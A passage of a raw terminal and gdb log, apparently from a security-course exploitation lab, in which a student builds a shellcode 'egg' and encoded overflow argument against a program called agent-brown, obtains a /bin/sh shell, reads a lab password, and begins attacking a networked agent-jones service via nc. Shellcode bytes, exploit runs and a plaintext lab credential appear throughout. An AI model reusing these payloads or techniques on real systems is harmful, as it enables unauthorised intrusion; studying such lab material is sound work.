  2450. Reading symbols from /home/brown/agent-brown...done.
  2451. (gdb) b main
  2452. Breakpoint 1 at 0x8048433: file agent-brown.c, line 32.
  2453. (gdb) r
  2454. Starting program: /home/brown/agent-brown \\xcb\\x3f\\x7e\\xa9\\x56\\x28\\x11\\xe0\\xa8\\x66\\x27\\xa9\\x66\\x2c\\x90\\x2b\\xa9\\xd3\\xad\\x6e\\x28\\xad\\x76\\x2c\\xed\\xa0\\x11\\xfb\\xa9\\xf8\\x60\\xed\\xa0\\xc8\\xfc\\xdf\\xdf\\xdf\\xf\\x42\\x49\\x4e\\xf\\x53\\x48\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x28
  2455.  
  2456. Breakpoint 1, main (argc=2, argv=0xbffff624) at agent-brown.c:32
  2457. 32
  2458. (gdb) layout split
  2459. brown@pwnable:~$ vi arg
  2460. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2461. -bash: ./egg: No such file or directory
  2462. GNU gdb (GDB) 7.5-ubuntu
  2463. Copyright (C) 2012 Free Software Foundation, Inc.
  2464. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2465. This is free software: you are free to change and redistribute it.
  2466. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2467. and "show warranty" for details.
  2468. This GDB was configured as "i686-linux-gnu".
  2469. For bug reporting instructions, please see:
  2470. <http://www.gnu.org/software/gdb/bugs/>...
  2471. Reading symbols from /home/brown/agent-brown...done.
  2472. (gdb) r
  2473. Starting program: /home/brown/agent-brown ?\?\~?V\(?f\'?f,?+?ӭn\(?v,?????\`???????BINSHBBBBBBBBBBBBBBBBBBB\(
  2474. ?^?1??F?F
  2475. ?
  2476. ???V
  2477. ̀1ۉ?@̀?????/bin/shbbbbbbbbbbbbbbbbbb??????????8???\????\H???P???p???P???
  2478. ls
  2479. ^C
  2480. Program received signal SIGINT, Interrupt.
  2481. 0x0804841e in dispatch (
  2482. in=0xbffff7e4 "\313?~\251V(\021\340\250f'\251f,\220+\251\323\255n(\255v,\355\240\021\373\251\370`\355\240\310\374\337\337\337\017BIN\017SH", 'B' <repeats 19 times>, "(")
  2483. at agent-brown.c:26
  2484. 26 }
  2485. (gdb) q
  2486. A debugging session is active.
  2487.  
  2488. Inferior 1 [process 26180] will be killed.
  2489.  
  2490. Quit anyway? (y or n) y
  2491. brown@pwnable:~$ ./exploit
  2492. ./exploit: 2: ./exploit: ./egg: not found
  2493. ?^?1??F?F
  2494. ?
  2495. ???V
  2496. ̀1ۉ?@̀?????/bin/shbbbbbbbbbbbbbbbbbb??????????8???\????\H???P???p???P???
  2497. whoami
  2498. ^C
  2499. brown@pwnable:~$ vi arg
  2500. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2501. -bash: ./egg: No such file or directory
  2502. ^CTraceback (most recent call last):
  2503. File "./arg", line 16, in <module>
  2504. y += chr(ord(char) ^ (1 << 5))
  2505. File "./arg", line 16, in <module>
  2506. y += chr(ord(char) ^ (1 << 5))
  2507. File "/usr/lib/python2.7/bdb.py", line 49, in trace_dispatch
  2508. return self.dispatch_line(frame)
  2509. File "/usr/lib/python2.7/bdb.py", line 67, in dispatch_line
  2510. self.user_line(frame)
  2511. File "/usr/lib/python2.7/pdb.py", line 158, in user_line
  2512. self.interaction(frame, None)
  2513. File "/usr/lib/python2.7/pdb.py", line 210, in interaction
  2514. self.cmdloop()
  2515. File "/usr/lib/python2.7/cmd.py", line 130, in cmdloop
  2516. line = raw_input(self.prompt)
  2517. KeyboardInterrupt
  2518.  
  2519. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2520. -bash: ./egg: No such file or directory
  2521. help
  2522. help
  2523. please help
  2524. ^CTraceback (most recent call last):
  2525. File "./arg", line 16, in <module>
  2526. y += chr(ord(char) ^ (1 << 5))
  2527. File "./arg", line 16, in <module>
  2528. y += chr(ord(char) ^ (1 << 5))
  2529. File "/usr/lib/python2.7/bdb.py", line 49, in trace_dispatch
  2530. return self.dispatch_line(frame)
  2531. File "/usr/lib/python2.7/bdb.py", line 67, in dispatch_line
  2532. self.user_line(frame)
  2533. File "/usr/lib/python2.7/pdb.py", line 158, in user_line
  2534. self.interaction(frame, None)
  2535. File "/usr/lib/python2.7/pdb.py", line 210, in interaction
  2536. self.cmdloop()
  2537. File "/usr/lib/python2.7/cmd.py", line 130, in cmdloop
  2538. line = raw_input(self.prompt)
  2539. KeyboardInterrupt
  2540.  
  2541. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2542. -bash: ./egg: No such file or directory
  2543. l
  2544. i
  2545. 1
  2546. I
  2547. |
  2548. ^CTraceback (most recent call last):
  2549. File "./arg", line 16, in <module>
  2550. y += chr(ord(char) ^ (1 << 5))
  2551. File "./arg", line 16, in <module>
  2552. y += chr(ord(char) ^ (1 << 5))
  2553. File "/usr/lib/python2.7/bdb.py", line 49, in trace_dispatch
  2554. return self.dispatch_line(frame)
  2555. File "/usr/lib/python2.7/bdb.py", line 67, in dispatch_line
  2556. self.user_line(frame)
  2557. File "/usr/lib/python2.7/pdb.py", line 158, in user_line
  2558. self.interaction(frame, None)
  2559. File "/usr/lib/python2.7/pdb.py", line 210, in interaction
  2560. self.cmdloop()
  2561. File "/usr/lib/python2.7/cmd.py", line 130, in cmdloop
  2562. line = raw_input(self.prompt)
  2563. KeyboardInterrupt
  2564.  
  2565. brown@pwnable:~$ vi arg
  2566. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2567. -bash: ./egg: No such file or directory
  2568. GNU gdb (GDB) 7.5-ubuntu
  2569. Copyright (C) 2012 Free Software Foundation, Inc.
  2570. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2571. This is free software: you are free to change and redistribute it.
  2572. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2573. and "show warranty" for details.
  2574. This GDB was configured as "i686-linux-gnu".
  2575. For bug reporting instructions, please see:
  2576. <http://www.gnu.org/software/gdb/bugs/>...
  2577. Reading symbols from /home/brown/agent-brown...done.
  2578. (gdb) q
  2579. brown@pwnable:~$ ./exploit
  2580. ./exploit: 2: ./exploit: ./egg: not found
  2581. ?^?1??F?F
  2582. ?
  2583. ???V
  2584. ̀1ۉ?@̀?????/bin/shbbbbbbbbbbbbbbbbbb??????????8???\????\H???P???p???P???
  2585. ^C
  2586. brown@pwnable:~$ vi exploit
  2587. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2588. -bash: ./egg: No such file or directory
  2589. GNU gdb (GDB) 7.5-ubuntu
  2590. Copyright (C) 2012 Free Software Foundation, Inc.
  2591. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2592. This is free software: you are free to change and redistribute it.
  2593. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2594. and "show warranty" for details.
  2595. This GDB was configured as "i686-linux-gnu".
  2596. For bug reporting instructions, please see:
  2597. <http://www.gnu.org/software/gdb/bugs/>...
  2598. Reading symbols from /home/brown/agent-brown...done.
  2599. (gdb) b main
  2600. Breakpoint 1 at 0x8048433: file agent-brown.c, line 32.
  2601. (gdb) r
  2602. Starting program: /home/brown/agent-brown ?\?\~?V\(?f\'?f,?+?ӭn\(?v,?????\`???????BINSHBBBBBBBBBBBBBBBBBBB\(
  2603.  
  2604. Breakpoint 1, main (argc=2, argv=0xbffff6e4) at agent-brown.c:32
  2605. 32
  2606. (gdb) layout split
  2607. brown@pwnable:~$ vi egg
  2608. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2609. -bash: ./egg: Permission denied
  2610. GNU gdb (GDB) 7.5-ubuntu
  2611. Copyright (C) 2012 Free Software Foundation, Inc.
  2612. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2613. This is free software: you are free to change and redistribute it.
  2614. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2615. and "show warranty" for details.
  2616. This GDB was configured as "i686-linux-gnu".
  2617. For bug reporting instructions, please see:
  2618. <http://www.gnu.org/software/gdb/bugs/>...
  2619. Reading symbols from /home/brown/agent-brown...done.
  2620. (gdb) b main
  2621. Breakpoint 1 at 0x8048433: file agent-brown.c, line 32.
  2622. (gdb) layout split
  2623. brown@pwnable:~$ vi egg
  2624. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2625. -bash: ./egg: Permission denied
  2626. GNU gdb (GDB) 7.5-ubuntu
  2627. Copyright (C) 2012 Free Software Foundation, Inc.
  2628. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2629. This is free software: you are free to change and redistribute it.
  2630. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2631. and "show warranty" for details.
  2632. This GDB was configured as "i686-linux-gnu".
  2633. For bug reporting instructions, please see:
  2634. <http://www.gnu.org/software/gdb/bugs/>...
  2635. Reading symbols from /home/brown/agent-brown...done.
  2636. (gdb) b main
  2637. Breakpoint 1 at 0x8048433: file agent-brown.c, line 32.
  2638. (gdb) n
  2639. The program is not being run.
  2640. (gdb) r
  2641. Starting program: /home/brown/agent-brown ?\?\~?V\(?f\'?f,?+?ӭn\(?v,?????\`???????BINSHBBBBBBBBBBBBBBBBBBB\(
  2642.  
  2643. Breakpoint 1, main (argc=2, argv=0xbffff6e4) at agent-brown.c:32
  2644. 32
  2645. (gdb) layout split
  2646. brown@pwnable:~$ vi egg
  2647. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2648. -bash: ./egg: Permission denied
  2649. GNU gdb (GDB) 7.5-ubuntu
  2650. Copyright (C) 2012 Free Software Foundation, Inc.
  2651. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2652. This is free software: you are free to change and redistribute it.
  2653. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2654. and "show warranty" for details.
  2655. This GDB was configured as "i686-linux-gnu".
  2656. For bug reporting instructions, please see:
  2657. <http://www.gnu.org/software/gdb/bugs/>...
  2658. Reading symbols from /home/brown/agent-brown...done.
  2659. (gdb) b main
  2660. Breakpoint 1 at 0x8048433: file agent-brown.c, line 32.
  2661. (gdb) r
  2662. Starting program: /home/brown/agent-brown ?\?\~?V\(?f\'?f,?+?ӭn\(?v,?????\`???????BINSHBBBBBBBBBBBBBBBBBBB\(
  2663.  
  2664. Breakpoint 1, main (argc=2, argv=0xbffff6e4) at agent-brown.c:32
  2665. 32
  2666. (gdb) layout split
  2667. brown@pwnable:~$ vi egg
  2668. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2669. -bash: ./egg: Permission denied
  2670. GNU gdb (GDB) 7.5-ubuntu
  2671. Copyright (C) 2012 Free Software Foundation, Inc.
  2672. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2673. This is free software: you are free to change and redistribute it.
  2674. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2675. and "show warranty" for details.
  2676. This GDB was configured as "i686-linux-gnu".
  2677. For bug reporting instructions, please see:
  2678. <http://www.gnu.org/software/gdb/bugs/>...
  2679. Reading symbols from /home/brown/agent-brown...done.
  2680. (gdb) b main
  2681. Breakpoint 1 at 0x8048433: file agent-brown.c, line 32.
  2682. (gdb) r
  2683. Starting program: /home/brown/agent-brown ?\?\~?V\(?f\'?f,?+?ӭn\(?v,?????\`???????BINSHBBBBBBBBBBBBBBBBBBB\(
  2684.  
  2685. Breakpoint 1, main (argc=2, argv=0xbffff6e4) at agent-brown.c:32
  2686. 32
  2687. (gdb) q
  2688. A debugging session is active.
  2689.  
  2690. Inferior 1 [process 27114] will be killed.
  2691.  
  2692. Quit anyway? (y or n) y
  2693. brown@pwnable:~$ chmod +x egg
  2694. brown@pwnable:~$ vi egg
  2695. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2696. GNU gdb (GDB) 7.5-ubuntu
  2697. Copyright (C) 2012 Free Software Foundation, Inc.
  2698. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2699. This is free software: you are free to change and redistribute it.
  2700. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2701. and "show warranty" for details.
  2702. This GDB was configured as "i686-linux-gnu".
  2703. For bug reporting instructions, please see:
  2704. <http://www.gnu.org/software/gdb/bugs/>...
  2705. Reading symbols from /home/brown/agent-brown...done.
  2706. (gdb) b main
  2707. Breakpoint 1 at 0x8048433: file agent-brown.c, line 32.
  2708. (gdb) r
  2709. Starting program: /home/brown/agent-brown ?\?\~?V\(?f\'?f,?+?ӭn\(?v,?????\`???????BINSHBBBBBBBBBBBBBBBBBBB\(
  2710.  
  2711. Breakpoint 1, main (argc=2, argv=0xbffff664) at agent-brown.c:32
  2712. 32
  2713. (gdb) layout split
  2714. brown@pwnable:~$ vi egg
  2715. brown@pwnable:~$ vi arg
  2716. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2717. GNU gdb (GDB) 7.5-ubuntu
  2718. Copyright (C) 2012 Free Software Foundation, Inc.
  2719. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2720. This is free software: you are free to change and redistribute it.
  2721. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2722. and "show warranty" for details.
  2723. This GDB was configured as "i686-linux-gnu".
  2724. For bug reporting instructions, please see:
  2725. <http://www.gnu.org/software/gdb/bugs/>...
  2726. Reading symbols from /home/brown/agent-brown...done.
  2727. (gdb) r
  2728. Starting program: /home/brown/agent-brown ?\?\~?V\(?f\'?f,?+?ӭn\(?v,?????\`???????BINSHBBBBBBBBBBBBBBBBBBBh
  2729. ?^?1??F?F
  2730. ?
  2731. ???V
  2732. ̀1ۉ?@̀?????/bin/shbbbbbbbbbbbbbbbbbbbH???d???????????\d???\????????p???????
  2733.  
  2734. Program received signal SIGSEGV, Segmentation fault.
  2735. 0xc0310876 in ?? ()
  2736. (gdb) q
  2737. A debugging session is active.
  2738.  
  2739. Inferior 1 [process 27216] will be killed.
  2740.  
  2741. Quit anyway? (y or n) y
  2742. brown@pwnable:~$ ./exploit
  2743. ?^?1??F?F
  2744. ?
  2745. ???V
  2746. ̀1ۉ?@̀?????/bin/shbbbbbbbbbbbbbbbbbbbH???d???????????\d???\????????p???????
  2747. Segmentation fault
  2748. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2749. GNU gdb (GDB) 7.5-ubuntu
  2750. Copyright (C) 2012 Free Software Foundation, Inc.
  2751. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2752. This is free software: you are free to change and redistribute it.
  2753. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2754. and "show warranty" for details.
  2755. This GDB was configured as "i686-linux-gnu".
  2756. For bug reporting instructions, please see:
  2757. <http://www.gnu.org/software/gdb/bugs/>...
  2758. Reading symbols from /home/brown/agent-brown...done.
  2759. (gdb) b main
  2760. Breakpoint 1 at 0x8048433: file agent-brown.c, line 32.
  2761. (gdb) r
  2762. Starting program: /home/brown/agent-brown ?\?\~?V\(?f\'?f,?+?ӭn\(?v,?????\`???????BINSHBBBBBBBBBBBBBBBBBBBh
  2763.  
  2764. Breakpoint 1, main (argc=2, argv=0xbffff664) at agent-brown.c:32
  2765. 32
  2766. (gdb) layout split
  2767. brown@pwnable:~$ ls
  2768. agent-brown agent-brown.c arg egg exploit README test
  2769. brown@pwnable:~$ vi arg
  2770. brown@pwnable:~$ invoke -d -e egg=$(./egg) agent-brown $(./arg)
  2771. GNU gdb (GDB) 7.5-ubuntu
  2772. Copyright (C) 2012 Free Software Foundation, Inc.
  2773. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  2774. This is free software: you are free to change and redistribute it.
  2775. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  2776. and "show warranty" for details.
  2777. This GDB was configured as "i686-linux-gnu".
  2778. For bug reporting instructions, please see:
  2779. <http://www.gnu.org/software/gdb/bugs/>...
  2780. Reading symbols from /home/brown/agent-brown...done.
  2781. (gdb) r
  2782. Starting program: /home/brown/agent-brown BBBBp?ߟ?\?\~?V\(?f\'?f,?+?ӭn\(?v,?????\`???????BINSHBBBBBBBBBBBh
  2783. bbbbP????^?1??F?F
  2784. ?
  2785. ???V
  2786. ̀1ۉ?@̀?????/bin/shbbbbbbbbbbbH???d???????????\d???\????????p???????
  2787. process 29486 is executing new program: /bin/dash
  2788. $ q
  2789. /bin/sh: 1: q: not found
  2790. $ ^C
  2791. Program received signal SIGINT, Interrupt.
  2792. 0xb7fdd424 in ?? ()
  2793. (gdb) q
  2794. A debugging session is active.
  2795.  
  2796. Inferior 1 [process 29486] will be killed.
  2797.  
  2798. Quit anyway? (y or n) y
  2799. brown@pwnable:~$ ./exploit
  2800. bbbbP????^?1??F?F
  2801. ?
  2802. ???V
  2803. ̀1ۉ?@̀?????/bin/shbbbbbbbbbbbH???d???????????\d???\????????p???????
  2804. $ ls
  2805. README agent-brown agent-brown.c arg egg exploit test
  2806. $ whoami
  2807. jz
  2808. $ vi README
  2809.  
  2810. Perhaps we are asking the wrong questions.
  2811.  
  2812. user: jz
  2813. pass: a;Vn3/D@
  2814. ~
  2815. ~
  2816. ~
  2817. ~
  2818. ~
  2819. ~
  2820. ~
  2821. ~
  2822. ~
  2823. ~
  2824. ~
  2825. ~
  2826. ~
  2827. ~
  2828. ~
  2829. ~
  2830. ~
  2831. ~
  2832. ~
  2833. ~
  2834. ~
  2835. ~
  2836. ~
  2837. ~
  2838. ~
  2839. ~
  2840. ~
  2841. ~
  2842. ~
  2843. ~
  2844. ~
  2845. ~
  2846. E138: Can't write viminfo file $HOME/.viminfo!
  2847. Press ENTER or type command to continue
  2848. $ ls
  2849. README agent-brown agent-brown.c arg egg exploit test
  2850. $ vi test
  2851.  
  2852. junkADDR
  2853. ~
  2854. ~
  2855. ~
  2856. ~
  2857. ~
  2858. ~
  2859. ~
  2860. ~
  2861. ~
  2862. ~
  2863. ~
  2864. ~
  2865. ~
  2866. ~
  2867. ~
  2868. ~
  2869. ~
  2870. ~
  2871. ~
  2872. ~
  2873. ~
  2874. ~
  2875. ~
  2876. ~
  2877. ~
  2878. ~
  2879. ~
  2880. ~
  2881. ~
  2882. ~
  2883. ~
  2884. ~
  2885. ~
  2886. ~
  2887. ~
  2888. E138: Can't write viminfo file $HOME/.viminfo!
  2889. Press ENTER or type command to continue
  2890. $ ls
  2891. README agent-brown agent-brown.c arg egg exploit test
  2892. $ ^C
  2893. $ exit
  2894. brown@pwnable:~$ exit
  2895. logout
  2896. There are stopped jobs.
  2897. brown@pwnable:~$ exit
  2898. logout
  2899.  
  2900. ┌──agent-brown.c─────────────────────────────────────────────────────────────────┐
  2901. └────────────────────────────────────────────────────────────────────────────────┘
  2902. │0x804841f <main> lea 0x4(%esp),%ecx │
  2903. └────────────────────────────────────────────────────────────────────────────────┘
  2904.  
  2905.  
  2906.  
  2907.  
  2908.  
  2909.  
  2910.  
  2911.  
  2912.  
  2913.  
  2914.  
  2915.  
  2916.  
  2917.  
  2918.  
  2919.  
  2920.  
  2921.  
  2922.  
  2923.  
  2924.  
  2925.  
  2926.  
  2927.  
  2928.  
  2929.  
  2930.  
  2931.  
  2932.  
  2933.  
  2934.  
  2935.  
  2936. Connection to 127.0.0.1 closed.
  2937. Rameshs-MacBook-Pro-3:~ Tara$ ssh -p 2222 jz@127.0.0.1.
  2938. ssh: Could not resolve hostname 127.0.0.1.: nodename nor servname provided, or not known
  2939. Rameshs-MacBook-Pro-3:~ Tara$ ssh -p 2222 jones@127.0.0.1.
  2940. ssh: Could not resolve hostname 127.0.0.1.: nodename nor servname provided, or not known
  2941. Rameshs-MacBook-Pro-3:~ Tara$ ssh -p 2222 jz@127.0.0.1
  2942. jz@127.0.0.1's password:
  2943.  
  2944. The programs included with the Ubuntu system are free software;
  2945. the exact distribution terms for each program are described in the
  2946. individual files in /usr/share/doc/*/copyright.
  2947.  
  2948. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
  2949. applicable law.
  2950.  
  2951. _/ _/
  2952. _/_/_/ _/ _/ _/ _/_/_/ _/_/_/ _/_/_/ _/ _/_/
  2953. _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/_/_/_/
  2954. _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/
  2955. _/_/_/ _/ _/ _/ _/ _/_/_/ _/_/_/ _/ _/_/_/
  2956. _/
  2957. _/
  2958.  
  2959. Last login: Thu Jan 28 11:53:01 2016 from 10.0.2.2
  2960. jz@pwnable:~$ ls
  2961. README
  2962. jz@pwnable:~$ vi README
  2963. jz@pwnable:~$ ls
  2964. README
  2965. jz@pwnable:~$ vi README
  2966. jz@pwnable:~$ whoami
  2967. jz
  2968. jz@pwnable:~$ ls
  2969. README
  2970. jz@pwnable:~$ vi README
  2971. jz@pwnable:~$ ls
  2972. README
  2973. jz@pwnable:~$ exploit
  2974. exploit: command not found
  2975. jz@pwnable:~$ ls -a
  2976. . .. .bashrc .cache .profile README .ssh .viminfo
  2977. jz@pwnable:~$ vi .bashrc
  2978. jz@pwnable:~$ echo "sending exploit"
  2979. sending exploit
  2980. jz@pwnable:~$ ./egg | nc 127.0.0.1 42000 &
  2981. [1] 1684
  2982. jz@pwnable:~$ -bash: ./egg: No such file or directory
  2983. ^C
  2984. [1]+ Exit 1 ./egg | nc 127.0.0.1 42000
  2985. jz@pwnable:~$ logout
  2986. Connection to 127.0.0.1 closed.
  2987. Rameshs-MacBook-Pro-3:~ Tara$ ssh -p 2222 jones@127.0.0.1
  2988. jones@127.0.0.1's password:
  2989. Permission denied, please try again.
  2990. jones@127.0.0.1's password:
  2991.  
  2992. The programs included with the Ubuntu system are free software;
  2993. the exact distribution terms for each program are described in the
  2994. individual files in /usr/share/doc/*/copyright.
  2995.  
  2996. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
  2997. applicable law.
  2998.  
  2999. _/ _/
  3000. _/_/_/ _/ _/ _/ _/_/_/ _/_/_/ _/_/_/ _/ _/_/
  3001. _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/_/_/_/
  3002. _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/
  3003. _/_/_/ _/ _/ _/ _/ _/_/_/ _/_/_/ _/ _/_/_/
  3004. _/
  3005. _/
  3006.  
  3007. Last login: Thu Jan 28 12:07:22 2016 from 10.0.2.2
  3008. _ ____ _ ____ _ _
  3009. / \ / ___|| | | _ \( ) ___ __| |
  3010. / _ \ \___ \| | | |_) |/ / _ \/ _` |
  3011. / ___ \ ___) | |___| _ < | __/ (_| |
  3012. /_/ \_\____/|_____|_| \_\ \___|\__,_|
  3013.  
  3014. The VM now uses ASLR
  3015.  
  3016. jones@pwnable:~$ ls
  3017. agent-jones agent-jones.c exploit PWNED
  3018. jones@pwnable:~$ vi agent-jones.c
  3019. jones@pwnable:~$ vi agent-jones.c
  3020. jones@pwnable:~$ invoke -d agent-jones 4444
  3021. GNU gdb (GDB) 7.5-ubuntu
  3022. Copyright (C) 2012 Free Software Foundation, Inc.
  3023. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  3024. This is free software: you are free to change and redistribute it.
  3025. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  3026. and "show warranty" for details.
  3027. This GDB was configured as "i686-linux-gnu".
  3028. For bug reporting instructions, please see:
  3029. <http://www.gnu.org/software/gdb/bugs/>...
  3030. Reading symbols from /home/jones/agent-jones...done.
  3031. (gdb) b main
  3032. Breakpoint 1 at 0x8048744: file agent-jones.c, line 45.
  3033. (gdb) layout split
  3034. jones@pwnable:~$ ls
  3035. agent-jones agent-jones.c exploit PWNED
  3036. jones@pwnable:~$ vi exploit
  3037. jones@pwnable:~$ ./exploit
  3038. sending exploit...
  3039. ./exploit: 3: ./exploit: ./egg: not found
  3040. connecting to 0wned machine...
  3041. jones@pwnable:~$ vi exploit
  3042. jones@pwnable:~$ vi egg
  3043. jones@pwnable:~$ invoke -d agent-jones 4444
  3044. GNU gdb (GDB) 7.5-ubuntu
  3045. Copyright (C) 2012 Free Software Foundation, Inc.
  3046. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  3047. This is free software: you are free to change and redistribute it.
  3048. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  3049. and "show warranty" for details.
  3050. This GDB was configured as "i686-linux-gnu".
  3051. For bug reporting instructions, please see:
  3052. <http://www.gnu.org/software/gdb/bugs/>...
  3053. Reading symbols from /home/jones/agent-jones...done.
  3054. (gdb) q
  3055. jones@pwnable:~$ ./exploit
  3056. sending exploit...
  3057. ./exploit: 3: ./exploit: ./egg: Permission denied
  3058. connecting to 0wned machine...
  3059. jones@pwnable:~$ vi agent-jones.c
  3060. jones@pwnable:~$ ls
  3061. agent-jones agent-jones.c egg exploit PWNED
  3062. jones@pwnable:~$ vi e
  3063. jones@pwnable:~$ ls
  3064. agent-jones agent-jones.c egg exploit PWNED
  3065. jones@pwnable:~$ vi egg
  3066. jones@pwnable:~$ vi exploit
  3067. jones@pwnable:~$ vi agent-jones.c
  3068. jones@pwnable:~$ invoke -d agent-jones 4444
  3069. GNU gdb (GDB) 7.5-ubuntu
  3070. Copyright (C) 2012 Free Software Foundation, Inc.
  3071. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  3072. This is free software: you are free to change and redistribute it.
  3073. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  3074. and "show warranty" for details.
  3075. This GDB was configured as "i686-linux-gnu".
  3076. For bug reporting instructions, please see:
  3077. <http://www.gnu.org/software/gdb/bugs/>...
  3078. Reading symbols from /home/jones/agent-jones...done.
  3079. (gdb) disass main
  3080. Dump of assembler code for function main:
  3081. 0x0804873b <+0>: push %ebp
  3082. 0x0804873c <+1>: mov %esp,%ebp
  3083. 0x0804873e <+3>: and $0xfffffff0,%esp
  3084. 0x08048741 <+6>: sub $0x50,%esp
  3085. 0x08048744 <+9>: cmpl $0x2,0x8(%ebp)
  3086. 0x08048748 <+13>: je 0x8048770 <main+53>
  3087. 0x0804874a <+15>: mov 0xc(%ebp),%eax
  3088. 0x0804874d <+18>: mov (%eax),%ecx
  3089. 0x0804874f <+20>: mov $0x80489bb,%edx
  3090. 0x08048754 <+25>: mov 0x804a03c,%eax
  3091. 0x08048759 <+30>: mov %ecx,0x8(%esp)
  3092. 0x0804875d <+34>: mov %edx,0x4(%esp)
  3093. 0x08048761 <+38>: mov %eax,(%esp)
  3094. 0x08048764 <+41>: call 0x80484e0 <fprintf@plt>
  3095. 0x08048769 <+46>: mov $0x1,%eax
  3096. 0x0804876e <+51>: leave
  3097. 0x0804876f <+52>: ret
  3098. 0x08048770 <+53>: movl $0x0,0x8(%esp)
  3099. 0x08048778 <+61>: movl $0x1,0x4(%esp)
  3100. 0x08048780 <+69>: movl $0x2,(%esp)
  3101. 0x08048787 <+76>: call 0x8048520 <socket@plt>
  3102. 0x0804878c <+81>: mov %eax,0x4c(%esp)
  3103. 0x08048790 <+85>: cmpl $0x0,0x4c(%esp)
  3104. 0x08048795 <+90>: jns 0x80487a3 <main+104>
  3105. 0x08048797 <+92>: movl $0x80489cb,(%esp)
  3106. 0x0804879e <+99>: call 0x804864d <error>
  3107. 0x080487a3 <+104>: movl $0x1,0x44(%esp)
  3108. 0x080487ab <+112>: movl $0x4,0x10(%esp)
  3109. 0x080487b3 <+120>: lea 0x44(%esp),%eax
  3110. 0x080487b7 <+124>: mov %eax,0xc(%esp)
  3111. 0x080487bb <+128>: movl $0x2,0x8(%esp)
  3112. 0x080487c3 <+136>: movl $0x1,0x4(%esp)
  3113. 0x080487cb <+144>: mov 0x4c(%esp),%eax
  3114. 0x080487cf <+148>: mov %eax,(%esp)
  3115. ---Type <return> to continue, or q <return> to quit---
  3116. 0x080487d2 <+151>: call 0x8048480 <setsockopt@plt>
  3117. 0x080487d7 <+156>: test %eax,%eax
  3118. 0x080487d9 <+158>: jns 0x80487e7 <main+172>
  3119. 0x080487db <+160>: movl $0x80489d4,(%esp)
  3120. 0x080487e2 <+167>: call 0x804864d <error>
  3121. 0x080487e7 <+172>: lea 0x34(%esp),%eax
  3122. 0x080487eb <+176>: movl $0x0,(%eax)
  3123. 0x080487f1 <+182>: movl $0x0,0x4(%eax)
  3124. 0x080487f8 <+189>: movl $0x0,0x8(%eax)
  3125. 0x080487ff <+196>: movl $0x0,0xc(%eax)
  3126. 0x08048806 <+203>: movw $0x2,0x34(%esp)
  3127. 0x0804880d <+210>: movl $0x0,0x38(%esp)
  3128. 0x08048815 <+218>: mov 0xc(%ebp),%eax
  3129. 0x08048818 <+221>: add $0x4,%eax
  3130. 0x0804881b <+224>: mov (%eax),%eax
  3131. 0x0804881d <+226>: mov %eax,(%esp)
  3132. 0x08048820 <+229>: call 0x8048510 <atoi@plt>
  3133. 0x08048825 <+234>: movzwl %ax,%eax
  3134. 0x08048828 <+237>: mov %eax,(%esp)
  3135. 0x0804882b <+240>: call 0x8048490 <htons@plt>
  3136. 0x08048830 <+245>: mov %ax,0x36(%esp)
  3137. 0x08048835 <+250>: movl $0x10,0x8(%esp)
  3138. 0x0804883d <+258>: lea 0x34(%esp),%eax
  3139. 0x08048841 <+262>: mov %eax,0x4(%esp)
  3140. 0x08048845 <+266>: mov 0x4c(%esp),%eax
